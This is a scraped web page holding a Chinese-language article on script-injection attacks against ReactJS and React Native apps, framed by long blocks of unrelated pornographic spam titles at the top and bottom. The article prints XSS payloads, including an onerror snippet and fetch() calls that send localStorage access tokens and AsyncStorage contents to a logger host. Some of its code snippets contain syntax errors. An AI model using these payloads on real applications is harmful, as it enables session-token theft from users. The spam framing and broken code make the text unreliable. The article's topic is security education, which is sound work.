精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用腳本注入漏洞攻擊ReactJS應用程序

安全 應用安全 黑客攻防
ReactJS是一款能夠幫助開發者構建用戶接口的熱門JavaScript庫。在它的幫助下,開發者可以構建出內容豐富的客戶端或Web應用,并且提前加載內容以提供更好的用戶體驗。

ReactJS是一款能夠幫助開發者構建用戶接口的熱門JavaScript庫。在它的幫助下,開發者可以構建出內容豐富的客戶端或Web應用,并且提前加載內容以提供更好的用戶體驗。

[[199564]]

從設計角度來看,只要你能夠按照開發標準來使用ReactJS的話,它其實是非常安全的。但是在網絡安全領域中,沒有任何東西是絕對安全的,而錯誤的編程實踐方式將導致類似腳本注入漏洞之類的問題產生,這些錯誤的編程方式包括:

1.利用用戶提供的對象來創建React組件;

2.利用用戶提供的href屬性來配置標簽,或利用其他可注入的屬性來設置其他的HTML標簽(例如link標簽);

3.顯示地設置一個元素的dangerouslySetInnerHTML屬性(危險的HTML標簽屬性);

4.向eval()傳遞用戶提供的字符串數據;

 

接下來,讓我們一起看一看這些潛在的問題將如何影響ReactJS應用程序,并最終導致了腳本注入漏洞的出現。

組件、屬性和元素

在ReactJS應用程序中,組件是最基本的組成部分。從本質上來說,這些組件其實都類似于JavaScript函數,它們可以接受任意的輸入數據,然后返回React元素。一個基本的ReactJS組件如下所示:

  1. class Welcome extends React.Component { 
  2.   render() { 
  3. return <h1>Hello, {this.props.name}</h1>
  4.   } 

 

請注意上面代碼中的return語句,這是一種JavaScript中的語句擴展(JSX)。在項目構建的過程中,JSX代碼將會被編譯成常規的JavaScript(ES5)代碼。下面給出的兩種樣本代碼其功能是完全相同的:

  1. // JSX 
  2. const element = ( 
  3.   <h1 className=”greeting”> 
  4.   Hello, world! 
  5.   </h1> 
  6. ); 
  7. // Transpiled to createElement() call 
  8. const element = React.createElement( 
  9.   ‘h1’, 
  10.   {className: ‘greeting’}, 
  11.   ‘Hello, world!’ 
  12. ); 
  13. 在創建新的React元素時,使用的是component類中的createElement()函數: 
  14. React.createElement( 
  15.   type, 
  16.   [props], 
  17.   [...children] 

這個函數可以接受三個參數:

1.type參數:該參數可以是一個標簽名(例如'div'或'span'),或一個component類。但是在React Native中只允許component類。

2.props參數:該參數包含一個傳遞給新元素的屬性列表。

3.children參數:該參數包含新元素的子節點。

如果你能夠控制其中任何一個參數的話,那么這個參數就會變成攻擊向量。

注入子節點

 

早2015年3月份,Daniel LeCheminant報告了一個存在于HackerOne的存儲型跨站腳本漏洞(XSS)。這個漏洞的成因如下:HackerOne的Web應用會將用戶所提供的任意對象當作children參數傳遞給React.createElement()函數。根據我們的推測,存在漏洞的代碼可能跟下方給出的代碼比較相似:

  1. * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
  2. attacker_supplied_value = JSON.parse(some_user_input) 
  3. */ 
  4. render() {  
  5.  return <span>{attacker_supplied_value}</span>

這段JSX代碼將會被轉譯成如下所示的JavaScript代碼:   

  1. React.createElement("span", null, attacker_supplied_value}; 

如果其中的attacker_supplied_value是一個字符串的話(正常情況),代碼將會生成一個正常的span元素。但是在當前版本的ReactJS中,createElement()函數還會接受以children參數形式傳遞的普通對象。Daniel通過一個JSON編碼的對象利用了這個漏洞,他在這個對象中包含了dangerouslySetInnerHTML屬性,這將允許他向React呈現的輸出效果中注入原始的HTML代碼。最終的PoC代碼:

  1.  _isReactElement: true, 
  2.  _store: {}, 
  3.  type: “body”, 
  4.  props: { 
  5.    dangerouslySetInnerHTML: { 
  6.      __html: 
  7.      "<h1>Arbitrary HTML</h1> 
  8.      <script>alert(‘No CSP Support :(‘)</script> 
  9.      <a href=’http://danlec.com'>link</a>
  10.     } 
  11.   } 

相關的漏洞緩解方案可以在React.js的GitHub主頁上找到,感興趣的同學可以參考。在2015年11月份,Sebastian Markbåge提交了一個修復方案:為React元素引入了$$typeof: Symbol.for('react.element')屬性。由于無法從一個注入對象引用全局JavaScript符號,所以Daniel設計的漏洞利用技術(注入child元素)就無法再使用了。

控制元素類型

 

雖然我們不能再將普通對象來當作ReactJS元素來使用了,但是組件注入并非不可能實現,因為createElement()函數還可以接受type參數中的字符串數據。我們假設開發者采用了如下所示的代碼:

  1. // Dynamically create an element from a string stored in the backend. 
  2. element_name = stored_value
  3. React.createElement(element_name, null); 

如果stored_value是一個由攻擊者控制的字符串,那我們就可以創建任意的React組件了。但是此時創建的是一個普通的無屬性HTML元素,而這種東西對于攻擊者來說是沒有任何作用的。因此,我們必須要能夠控制新創建元素的屬性才可以。

注入屬性(props)

 

請大家先看看下面給出的這段代碼:

  1. // Parse attacker-supplied JSON for some reason and pass 
  2. // the resulting object as props. 
  3. // Don't do this at home unless you are a trained expert! 
  4. attacker_props = JSON.parse(stored_value) 
  5. React.createElement("span", attacker_props}; 

這樣一來,我們就可以向新元素中注入任意屬性了。我們可以使用下面給出的Payload來設置dangerouslySetInnerHTML屬性:

  1. {"dangerouslySetInnerHTML" : { "__html": "<img src=xonerror=’alert(localStorage.access_token)’>"}} 

跨站腳本漏洞

某些傳統的XSS攻擊向量同樣適用于ReactJS應用程序。請大家接著往下看:

(1) 顯示地設置dangerouslySetInnerHTML屬性

很多開發者可能會有目的地去設置dangerouslySetInnerHTML屬性:

 

  1. <div dangerouslySetInnerHTML={user_supplied} /> 

很明顯,如果你能夠控制這些屬性的參數值,那你就能夠注入任意的JavaScript代碼了。

(2) 可注入的屬性

如果你能夠控制一個動態生成的標簽的href屬性,那就沒有什么可以阻止你向其參數值中注入JavaScript代碼(通過javascript:)了。除了href屬性之外,在現代瀏覽器中HTML5按鈕的formaction屬性同樣也是可注入的。

  1. <a href={userinput}>Link</a> 
  2. <button form="name" formaction={userinput}> 

另一個非常奇怪的注入向量就是HTML imports:

  1. <link rel=”import” href={user_supplied}> 

(3) 服務器端呈現的HTML

為了降低初始化頁面的呈現時間,很多開發人員會在服務器端預先加載React.JS頁面(也就是所謂的“服務器端呈現”)。在2016年11月份,Emilia Smith發現官方Redux代碼樣本中存在一個跨站腳本漏洞(XSS),因為客戶端狀態被嵌入到了預呈現頁面中并沒有被過濾掉。(樣本代碼中的漏洞現在已經修復)

如果HTML頁面在服務器端預呈現的話,你也許可以在普通的Web應用中找到類似的跨站腳本漏洞。

基于eval()的注入

如果應用程序使用了eval()來動態執行一個由你控制的注入字符串,那你就非常幸運了。在這種情況下,你就可以隨意選擇你需要注入的代碼了:

  1. function antiPattern() { 
  2.   eval(this.state.attacker_supplied); 

XSS Payload

在現代Web開發領域,很多機制的開發人員會選擇使用無狀態的會話令牌,并且將它們保存在客戶端的本地存儲中。因此,攻擊者必須根據這種情況來設計相應的Payload。

 

當你在利用跨站腳本漏洞來攻擊ReactJS Web應用程序時,你能夠隨意注入任意代碼,如果再配合使用下面列出的代碼,你就可以從目標設備的本地存儲中獲取訪問令牌并將其發送到你的記錄程序中:

  1. fetch(‘http://example.com/logger.php? 
  2. token='+localStorage.access_token); 

React Native

React Native是一款移動應用開發框架,它可以幫助開發人員使用ReactJS構建原生移動應用。更確切地說,它提供了一個能夠再移動設備上運行React JavaScript包的運行時環境。除此之外,我們還可以使用React Native for Web讓一個React Native應用在普通的Web瀏覽器中運行。

但是就我們目前的研究結果來看,上面列出的腳本注入向量都不適用于React Native:

1.React Native的createInternalComponent方法只接受包含標簽的component類,所以即便是你能夠完全控制傳遞給createElement()的參數,你野無法創建任意元素;

2.不存在HTML元素,HTML代碼也不會被解析,所以普通的基于瀏覽器的XSS向量(例如'href')就無法正常工作了。

只有基于eval()的變量才可以在移動設備上被攻擊者利用。如果你能夠通過eval()注入JavaScript代碼,你就可以訪問React Native API并做一些有趣的事情了。比如說,你可以從本地存儲(AsyncStorage)中竊取數據了,相關的操作代碼如下所示:

  1. _reactNative.AsyncStorage.getAllKeys(function(err,result) 
  2. {_reactNative.AsyncStorage.multiGet(result,function(err,result) 
  3. {fetch(‘http://example.com/logger.php? 
  4. token='+JSON.stringify(result));});}); 

建議

雖然從設計的角度出發,ReactJS還是非常安全的,但是這個世界上沒有絕對安全的東西,不好的編程習慣將導致各種嚴重的安全漏洞出現:

 

我們建議各位開發者們不要再使用eval()函數或dangerouslySetInnerHTML屬性,并避免解析用戶提供的JSON數據。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2011-04-13 09:58:15

2012-06-07 09:15:14

ibmdw

2009-10-13 15:07:43

2013-09-03 15:45:50

2009-03-09 12:37:48

2014-11-24 09:16:14

2014-01-07 10:12:15

Spark

2023-08-01 08:00:00

SQLWeb應用安全

2009-04-02 10:26:27

2010-12-15 17:22:59

2010-12-06 15:23:43

2012-10-23 14:51:38

2023-09-01 00:05:40

2021-04-08 08:06:55

SAP應用程序攻擊

2010-08-23 15:50:43

2009-07-29 17:42:47

ibmdwWeb2.0

2009-08-27 11:53:45

ibmdw云計算

2020-04-21 09:55:54

DDoS攻擊網絡攻擊網絡安全

2021-11-24 11:48:08

Canopy漏洞應用程序

2012-08-22 14:57:00

點贊
收藏

51CTO技術棧公眾號

欧美三级黄网| 亚洲日本韩国在线| 一区二区日韩| 欧美日韩午夜激情| 视频一区三区| 亚洲AV无码精品自拍| 亚洲尤物精选| 久久久精品亚洲| 亚洲一区二区在线免费| 666av成人影院在线观看| 亚洲女性喷水在线观看一区| 精品蜜桃传媒| 国产精品特级毛片一区二区三区| 99国产精品私拍| 久久九九精品99国产精品| 艳妇乳肉豪妇荡乳xxx| 成人看片网站| 亚洲第一成人在线| 中文字幕日韩精品一区二区| 欧美一级一区二区三区| 久久99国内精品| 69国产精品成人在线播放| 成人无码精品1区2区3区免费看| 激情av综合| 欧美精品久久天天躁| 亚洲国产精品久久久久婷蜜芽| 欧美私人网站| 日本一区二区免费在线观看视频| 国产欧美日韩亚洲| 精品国产无码一区二区三区| 免费日本视频一区| 欧美在线观看一区二区三区| 欧美交换国产一区内射| 手机在线电影一区| 一本色道久久综合狠狠躁篇怎么玩 | 在线播放av网址| 日韩免费大片| 欧美亚洲一区三区| 国产精品视频一区二区三区四区五区| 污视频在线免费观看一区二区三区| 久久国产高清视频| 国产欧美日韩精品一区二区免费| 亚洲风情亚aⅴ在线发布| 中文字幕一区二区三区四| 91国拍精品国产粉嫩亚洲一区 | 国产日韩欧美精品在线观看| av大片在线| 成人欧美一区二区三区视频网页 | 亚洲一区二区在线免费| 97se亚洲国产一区二区三区| 欧美一级欧美三级| 一级做a爱视频| 色婷婷成人网| 3751色影院一区二区三区| 污视频网站观看| 国产精品麻豆成人av电影艾秋| 欧美在线你懂的| av在线网址导航| 国产乱子精品一区二区在线观看| 欧美日韩午夜在线视频| 天天干天天av| 国产不卡精品在线| 日韩免费福利电影在线观看| 亚洲黄色小说在线观看| 国产精东传媒成人av电影| 亚洲精品一区在线观看| 黄色污在线观看| 欧美一级全黄| 亚洲视频在线观看免费| 亚洲欧美va天堂人熟伦| 日韩在线看片| 欧美大尺度激情区在线播放 | 日本高清免费不卡视频| 97在线免费公开视频| 最新日韩三级| 欧美精品 国产精品| 色姑娘综合天天| 国产一区二区三区亚洲| 亚洲欧美另类中文字幕| 久久免费手机视频| 68国产成人综合久久精品| 久久999免费视频| 中文字幕亚洲精品一区| 视频一区二区三区在线| 成人h猎奇视频网站| 成 人 免费 黄 色| 久久综合99re88久久爱| 亚洲精品一区二区三区樱花| 日韩影视在线| 欧美性猛交xxxx免费看| 911福利视频| xxxxxhd亚洲人hd| 亚洲免费影视第一页| 亚洲aaa视频| 亚洲国产日本| 国产精品视频网站| 亚洲免费国产视频| 国产欧美一区二区精品仙草咪| 中文字幕第一页亚洲| 3344国产永久在线观看视频| 欧美午夜精品久久久| 337p日本欧洲亚洲大胆张筱雨| 林ゆな中文字幕一区二区| 伊人久久综合97精品| 欧产日产国产v| 欧美综合二区| 99三级在线| www视频在线观看免费| 亚洲午夜精品网| 日韩av片网站| 欧美18xxxx| 欧美成人sm免费视频| 好吊色在线视频| 风间由美性色一区二区三区 | 毛片网站在线免费观看| 黑人巨大精品欧美一区二区一视频| 午夜免费看视频| 亚洲伊人春色| 久久久久九九九九| 亚洲视频中文字幕在线观看| 99re这里都是精品| 国产精品igao激情视频| av成人在线观看| 日韩av综合网站| 欧美成人免费看| 精品一区二区三区在线视频| 免费在线国产精品| av有码在线观看| 欧美一区永久视频免费观看| 亚洲无人区码一码二码三码的含义| 精品9999| 操一操视频一区| 超碰在线caoporn| 欧美视频在线播放| 成人国产精品久久久网站| 亚洲日韩成人| 成人在线观看91| 快射av在线播放一区| 欧美吞精做爰啪啪高潮| 熟女俱乐部一区二区视频在线| 国内在线观看一区二区三区| 亚洲自拍中文字幕| 麻豆免费在线观看| 欧美人牲a欧美精品| 免费一级特黄3大片视频| 性久久久久久| 欧美成人免费在线| 成人性生交大片免费网站| 日韩av在线资源| 男人午夜免费视频| 久久天天做天天爱综合色| 日本一道本久久| 神马久久影院| 日韩av高清不卡| 黄色av网址在线免费观看| 色婷婷av一区二区| 中文字幕av久久爽一区| 麻豆高清免费国产一区| 亚洲精品久久区二区三区蜜桃臀| 日韩在线观看不卡| 日韩中文理论片| a级片免费观看| 亚洲最快最全在线视频| 荫蒂被男人添免费视频| 免费精品视频| 日韩高清三级| 懂色aⅴ精品一区二区三区| www.xxxx欧美| 精品人妻一区二区三区麻豆91| 一级精品视频在线观看宜春院| 风韵丰满熟妇啪啪区老熟熟女| 在线精品在线| 日本视频一区二区在线观看| 999国产精品亚洲77777| 日韩有码视频在线| 午夜老司机福利| 色综合久久久久久久久| 国产精品情侣呻吟对白视频| 国产在线播放一区| 91免费黄视频| 精品国产aⅴ| 91手机在线播放| 精品丝袜在线| 一区二区欧美久久| 99免费在线视频| 欧美日韩日本国产| 成年人二级毛片| av欧美精品.com| 精品亚洲一区二区三区四区| 你懂的亚洲视频| 久久久久综合一区二区三区| 啪啪av大全导航福利综合导航 | 欧美大胆性生话| 日韩在线视频国产| 少妇精品高潮欲妇又嫩中文字幕| 欧美午夜精品理论片a级按摩| 欧美成人精品欧美一| 久久久久亚洲蜜桃| 日韩av影视大全| 亚洲欧美久久久| 在线观看精品视频| 亚洲精华一区二区三区| 91系列在线观看| 无遮挡爽大片在线观看视频 | 免费国产羞羞网站美图| 99久久婷婷国产综合精品电影| 天天影视色综合| 免费日韩精品中文字幕视频在线| 色爽爽爽爽爽爽爽爽| 沈樵精品国产成av片| 99国产在线视频| 99蜜月精品久久91| 91豆花精品一区| 在线观看三级视频| 中文字幕精品视频| 亚洲色图另类小说| 日韩西西人体444www| 亚洲精品毛片一区二区三区| 亚洲第一主播视频| 成年人一级黄色片| 中文久久乱码一区二区| 亚洲男人在线天堂| 国产成人精品免费一区二区| 欧美国产日韩另类 | 亚洲精品欧美日韩| 全球最大av网站久久| 欧美一乱一性一交一视频| 欧美1234区| 久久资源免费视频| 99免在线观看免费视频高清| 精品中文字幕久久久久久| 亚洲狼人综合网| 日韩一区二区麻豆国产| 一级片一区二区三区| 欧美性受极品xxxx喷水| 超碰中文字幕在线| 欧美性20hd另类| 全部毛片永久免费看| 天天av天天翘天天综合网| 国产性生活网站| 亚洲一区电影777| 欧美精品乱码视频一二专区| 亚洲欧美激情一区二区| 成人在线观看高清| 亚洲人一二三区| 日本 欧美 国产| 国产精品电影一区二区三区| 日本一二三不卡视频| 日本一区二区三级电影在线观看| 在线国产视频一区| 国产日韩欧美一区二区三区乱码| 自拍偷拍视频亚洲| 国产精品亲子伦对白| 亚洲精品自拍视频在线观看| 国产精品白丝在线| 黄色香蕉视频在线观看| 亚洲男同1069视频| 日本精品人妻无码77777| 亚洲精品国产无天堂网2021 | 色爱区综合激月婷婷| 国产精品一区无码| 欧美在线综合视频| 97人妻精品一区二区三区软件 | 性xxxxxxxxx| 不卡一区二区中文字幕| 免费观看一级一片| 国产亚洲视频系列| 国产视频精品免费| 亚洲国产另类精品专区| 国产成人精品一区二三区| 色呦呦日韩精品| 亚洲中文字幕一区二区| 日韩精品专区在线影院观看| 人妻无码一区二区三区久久99| 日韩大片在线观看视频| 国产一二在线观看| 久久视频在线看| 丁香花在线观看完整版电影| 欧洲成人免费视频| 亚洲欧美专区| 国产乱码精品一区二区三区中文| 婷婷综合电影| 亚洲一二区在线| 午夜国产欧美理论在线播放| 欧美精品一区二区三区三州| 久久伊人亚洲| 97人人模人人爽人人澡| 97久久超碰国产精品电影| 少妇av片在线观看| 亚洲一区二区欧美日韩| 伊人中文字幕在线观看 | 黄色片免费网址| 波多野结衣一区二区三区| 日本一级免费视频| 一区二区三区美女视频| 国产精品乱码一区二区视频| 日韩一级片在线播放| 日本国产在线| 久久亚洲私人国产精品va| 美女在线视频免费| 成人亚洲欧美一区二区三区| 亚洲自拍电影| 欧美中文字幕在线观看视频| 欧美a一区二区| 妖精视频一区二区| 亚洲人成在线观看一区二区| 九九热在线视频播放| 在线播放91灌醉迷j高跟美女 | 久久久久亚洲蜜桃| 国产一级二级三级| 欧美日韩亚洲综合在线 | 激情黄色小视频| 久久嫩草精品久久久精品| 久久精品www| 91精品国产福利在线观看| 免费播放片a高清在线观看| 欧美精品videosex牲欧美| 日本在线一区二区| 亚洲丰满在线| 久久久综合网| 中文字幕乱码在线| 亚洲精品视频在线观看免费| 中文字幕乱码人妻无码久久| 国产婷婷色综合av蜜臀av| 97人人在线视频| 成人一区二区在线| 午夜欧美理论片| 91丝袜超薄交口足| 欧美激情在线看| 亚洲中文一区二区| 亚洲免费一级电影| 亚洲欧洲日本韩国| 激情伦成人综合小说| 91久久亚洲| youjizz.com国产| 亚洲风情在线资源站| 精品乱子伦一区二区| 久久精品视频亚洲| 婷婷激情成人| 在线观看欧美一区| 精品一区二区三区在线观看国产 | 日本高清不卡视频| 欧美色视频免费| 国产91色在线免费| jizzjizz欧美69巨大| 性欧美videossex精品| 中文字幕乱码久久午夜不卡 | 黄色成人免费网| 欧美精品在线一区| 视频在线在亚洲| 少妇愉情理伦三级| 欧美精品久久久久久久久老牛影院| 秋霞影院午夜丰满少妇在线视频| 国产欧美韩国高清| 久久久久午夜电影| 性生活一级大片| 亚洲h在线观看| 丝袜+亚洲+另类+欧美+变态| 人人澡人人澡人人看欧美| 免费欧美一区| 国产一伦一伦一伦| 亚洲视频一区在线| 亚洲女同志亚洲女同女播放| 午夜精品福利视频| 国产aⅴ精品一区二区三区久久| 波多结衣在线观看| 亚洲女同ⅹxx女同tv| 色呦呦视频在线| 国产精品91免费在线| 国产精品99一区二区三| 中文字幕18页| 色综合夜色一区| 欧美成人三区| 国产精品成人一区二区三区 | 一区二区欧美国产| 天天躁日日躁狠狠躁喷水| 日韩av手机在线观看| 日韩黄色大片| 又黄又色的网站| 色一区在线观看| gogo在线观看| 快播亚洲色图| 精品中文av资源站在线观看| 久草视频免费在线播放| 亚洲欧美一区二区激情| 91丨精品丨国产| 波多野结衣家庭教师在线| 国产精品久久久久久久久免费丝袜| 性欧美videos另类hd| 日本国产高清不卡| 亚洲最大av| 欧美黑人欧美精品刺激| 欧美一区三区二区| 欧美影视资讯| 国产xxxx振车| 中文子幕无线码一区tr| 国产刺激高潮av| 国产日韩换脸av一区在线观看| 亚洲人成久久| 蜜臀av午夜精品久久|